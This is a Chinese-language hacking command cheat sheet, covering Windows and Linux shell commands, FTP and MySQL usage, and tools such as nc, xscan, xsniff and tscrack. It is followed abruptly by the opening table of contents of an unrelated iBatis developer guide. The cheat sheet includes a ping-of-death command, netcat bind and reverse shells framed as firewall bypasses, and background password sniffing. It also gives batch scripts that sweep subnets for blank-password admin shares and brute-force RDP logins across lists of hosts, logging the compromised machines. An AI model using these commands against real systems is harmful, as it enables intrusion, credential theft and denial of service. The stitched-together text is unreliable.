   net time 目标ip 查看对方时间    net time 目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息    net view 查看本地局域网内开启了哪些共享    net view ip 查看对方局域网内开启了哪些共享    net config 显示系统网络设置    net logoff 断开连接的共享    net pause 服务名 暂停某服务    net send ip "文本信息" 向对方发信息    net ver 局域网内正在使用的网络连接类型和信息    net share 查看本地开启的共享    net share ipc$ 开启ipc$共享    net share ipc$ /del 删除ipc$共享    net share c$ /del 删除C:共享    net user guest 12345 用guest用户登陆后用将密码改为12345    net password 密码 更改系统登陆密码    netstat -a 查看开启了哪些端口,常用netstat -an    netstat -n 查看端口的网络连接情况,常用netstat -an    netstat -v 查看正在进行的工作    netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况    netstat -s 查看正在使用的所有协议使用情况    nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名   tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。   ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。    ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping)   ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息    tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)    del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件   del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)    move 盘符路径要移动的文件名 存放移动文件的路径移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖    fc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令    at id号 开启已注册的某个计划任务    at /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止    at id号 /delete 停止某个已注册的计划任务   at 查看所有的计划任务    at ip time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机   finger username @host 查看最近有哪些用户登陆    telnet ip 端口 远和登陆服务器,默认端口为23    open ip 连接到IP(属telnet登陆后的命令)    telnet 在本机上直接键入telnet 将进入本机的telnet    copy 路径文件名1 路径文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件    copy c:srv.exe ipadmin$ 复制本地c:srv.exe到对方的admin下    copy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件    copy ipadmin$svv.exe c: 或:copyipadmin$*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C:    xcopy 要复制的文件或目录树 目标地址目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件   用参数/e才可连目录下的子目录一起复制到目标地址下。    tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exec:server.exe 登陆后,将“IP”的server.exe下载到目标主机c:server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送    tftp -i 对方IP put c:server.exe 登陆后,上传本地c:server.exe至主机    ftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)    route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface    arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息    start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令    mem 查看cpu使用情况    attrib 文件名(目录名) 查看某文件(目录)的属性    attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性    dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间    date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间    set 指定环境变量名称=要指派给变量的字符 设置环境变量    set 显示当前所有的环境变量    set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量    pause 暂停批处理程序,并显示出:请按任意键继续....    if 在批处理程序中执行条件处理(更多说明见if命令及变量)    goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签)    call 路径批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)   for 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)    echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置    echo 信息 在屏幕上显示出信息    echo 信息 >> pass.txt 将"信息"保存到pass.txt文件中    findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello    find 文件名 查找某文件    title 标题名字 更改CMD窗口标题名字    color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白    prompt 名称 更改cmd.exe的显示的命令提示符(把C:、D:统一改为:EntSky )    ver 在DOS窗口下显示版本信息    winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名)    format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS,例:Format D: /FS:NTFS    md 目录名 创建目录    replace 源文件 要替换文件的目录 替换文件    ren 原文件名 新文件名 重命名文件名    tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称    type 文件名 显示文本文件的内容    more 文件名 逐屏显示输出文件    doskey 要锁定的命令=字符    doskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir=    taskmgr 调出任务管理器    chkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误    tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口    exit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe   path 路径可执行文件的文件名 为可执行文件设置一个路径。    cmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?    regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;    regedit /e 注册表文件名 导出注册表    cacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D: est.txt /D pub 设定d: est.txt拒绝pub用户访问。    cacls 文件名 查看文件的访问用户权限列表    REM 文本内容 在批处理文件中添加注解    netsh 查看或更改本地网络配置情况    IIS服务命令    iisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)    iisreset /start或stop 启动(停止)所有Internet服务    iisreset /restart 停止然后重新启动所有Internet服务    iisreset /status 显示所有Internet服务状态    iisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动    iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机   iisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务    iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。    FTP 命令:(后面有详细说明内容)    ftp的命令行格式为:   ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。    -d 使用调试方式。    -n 限制ftp的自动登录,即不使用.netrc文件。    -g 取消全局文件名。    help [命令] 或 ?[命令] 查看命令说明    bye 或 quit 终止主机FTP进程,并退出FTP管理方式.    pwd 列出当前远端主机目录    put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中    get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中    mget [remote-files] 从远端主机接收一批文件至本地主机    mput local-files 将本地主机中一批文件传送至远端主机    dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件    ascii 设定以ASCII方式传送文件(缺省值)    bin 或 image 设定以二进制方式传送文件    bell 每完成一次文件传送,报警提示    cdup 返回上一级目录    close 中断与远程服务器的ftp会话(与open对应)    open host[port] 建立指定ftp服务器连接,可指定连接端口    delete 删除远端主机中的文件    mdelete [remote-files] 删除一批文件    mkdir directory-name 在远端主机中建立目录    rename [from] [to] 改变远端主机中的文件名    rmdir directory-name 删除远端主机中的目录    status 显示当前FTP的状态    system 显示远端主机系统类型    user user-name [password] [account] 重新以别的用户名登录远端主机    open host [port] 重新建立一个新的连接    prompt 交互提示模式    macdef 定义宏命令    lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录   chmod 改变远端主机的文件权限    case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母   cd remote-dir 进入远程主机目录    cdup 进入远程主机目录的父目录   ! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip   #5    MYSQL 命令    mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。   (例:mysql -h110.110.110.110 -Uroot -P123456   注:u与root可以不用加空格,其它也一样)    exit 退出MYSQL    mysqladmin -u用户名 -p旧密码 password 新密码 修改密码    grant select on 数据库.* to 用户名@登录主机 identified by "密码"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。   use mysql;    show tables; 显示库中的数据表    describe 表名; 显示数据表的结构    create database 库名; 建库   use 库名;    create table 表名 (字段设定列表); 建表    drop database 库名;    drop table 表名; 删库和删表    delete from 表名; 将表中记录清空    select * from 表名; 显示表中的记录    mysqldump --opt school>school.bbb 备份数据库:(命令在DOS的mysqlin目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。    win2003系统下新增命令(实用部份):    shutdown /参数 关闭或重启本地或远程主机。   参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。   例:shutdown /r /t 0 立即重启本地主机(无延时)   taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。   参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。    tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。   参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程。    Linux系统下基本命令 注:要区分大小写    uname 显示版本信息(同win2K的 ver)    dir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)   pwd 查询当前所在的目录位置   cd cd ..回到上一层目录,注意cd 与..之间有空格。 cd /返回到根目录。   cat 文件名 查看文件内容   cat >abc.txt 往abc.txt文件中写上内容。   more 文件名 以一页一页的方式显示一个文本文件。   cp 复制文件    mv 移动文件 rm 文件名 删除文件,rm -a 目录名删除目录及子目录    mkdir 目录名 建立目录    rmdir 删除子目录,目录内没有文档。    chmod 设定档案或目录的存取权限    grep 在档案中查找字符串    diff 档案文件比较    find 档案搜寻    date 现在的日期、时间    who 查询目前和你使用同一台机器的人以及Login时间地点    w 查询目前上机者的详细资料    whoami 查看自己的帐号名称    groups 查看某人的Group    passwd 更改密码    history 查看自己下过的命令    ps 显示进程状态    kill 停止某进程    gcc 黑客通常用它来编译C语言写的文件    su 权限转换为指定使用者    telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。    ftp ftp连接上某服务器(同win2K)    批处理命令与变量    1:for命令及变量 基本格式    FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。    批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use ipipc$ pass /user:user 中ip为%1,pass为%2,user为%3    (set):指定一个或一组文件,可使用通配符,如:(D:user.txt)和(1 1 254)(1 -1 254),{ “(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1 }    command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开   command_parameters:为特定命令指定参数或命令行开关   IN (set):指在(set)中取值;DO command :指执行command 参数:/L 指用增量形式{ (set)为增量形式时 };/F 指从文件中不断取值,直到取完为止{ (set)为文件时,如(d:pass.txt)时 }。    用法举例:   @echo off   echo 用法格式:test.bat *.*.* > test.txt   for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \%1.%%G /user:administrator | find "命令成功完成" >>test.txt    存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。   /L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。   @echo off   echo 用法格式:ok.bat ip   FOR /F %%i IN (D:user.dic) DO smb.exe %1 %%i D:pass.dic 200   存为:ok.exe 说明:输入一个IP后,用字典文件d:pass.dic来暴解d:user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。    七:   2:if命令及变量 基本格式   IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。   例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。   0 指发现并成功执行(真);1 指没有发现、没执行(假)。   IF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。   例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")   IF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。   例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。   IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。当有del命令时需把del命令全部内容用括起来,因为del命令要单独一行时才能执行,用上后就等于是单独一行了;例如:“if exist test.txt. else echo test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想学习使用进行后台FTP下载,那么就必须学习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
application/pdf
ibatis 开发指南ibatis Quick Start............................................................................................ 5 准备工作.......................................................................................................... 5 构建ibatis 基础代码.................................................................................... 5 ibatis 配置........................................................................................................... 11 ibatis 基础语义...................................................................................................... 16 XmlSqlMapClientBuilder................................................................... 16 SqlMapClient ........................................................................................... 16 SqlMapClient 基本操作示例.......................................................... 16 OR 映射........................................................................................................... 19 ibatis 高级特性...................................................................................................... 26 数据关联........................................................................................................ 26 一对多关联............................................................................................ 26 一对一关联............................................................................................ 28 延迟加载........................................................................................................ 30 动态映射........................................................................................................ 31 事务管理........................................................................................................ 35 基于JDBC 的事务管理机制................................................................ 35 基于JTA 的事务管理机制................................................................... 36 外部事务管理......................................................................................... 38 Cache .............................................................................................................. 39 MEMORY 类型Cache 与WeakReference ........................................ 40 LRU 型Cache ....................................................................................... 42 FIFO 型Cache ...................................................................................... 43 OSCache................................................................................................. 43 ibatis 开发指南相对Hibernate 和Apache OJB 等“一站式”ORM 解决方案而言,ibatis 是一种“半自动化”的ORM 实现。所谓“半自动”,可能理解上有点生涩。纵观目前主流的ORM ,无论Hibernate 还是Apache OJB,都对数据库结构提供了较为完整的封装,提供了从POJO 到数据库表的全套映射机制。程序员往往只需定义好了POJO 到数据库表的映射关系,即可通过Hibernate 或者OJB 提供的方法完成持久层操作。程序员甚至不需要对SQL 的熟练掌握, Hibernate/OJB 会根据制定的存储逻辑,自动生成对应的SQL 并调用JDBC 接口加以执行。大多数情况下( 特别是对新项目,新系统的开发而言),这样的机制无往不利,大有一统天下的势头。但是,在一些特定的环境下,这种一站式的解决方案却未必灵光。在笔者的系统咨询工作过程中,常常遇到以下情况: 1. 系统的部分或全部数据来自现有数据库,处于安全考虑,只对开发团队提供几条Select SQL(或存储过程)以获取所需数据,具体的表结构不予公开。2. 开发规范中要求, 所有牵涉到业务逻辑部分的数据库操作,必须在数据库层由存储过程实现(就笔者工作所面向的金融行业而言,工商银行、中国银行、交通银行,都在开发规范中严格指定)3. 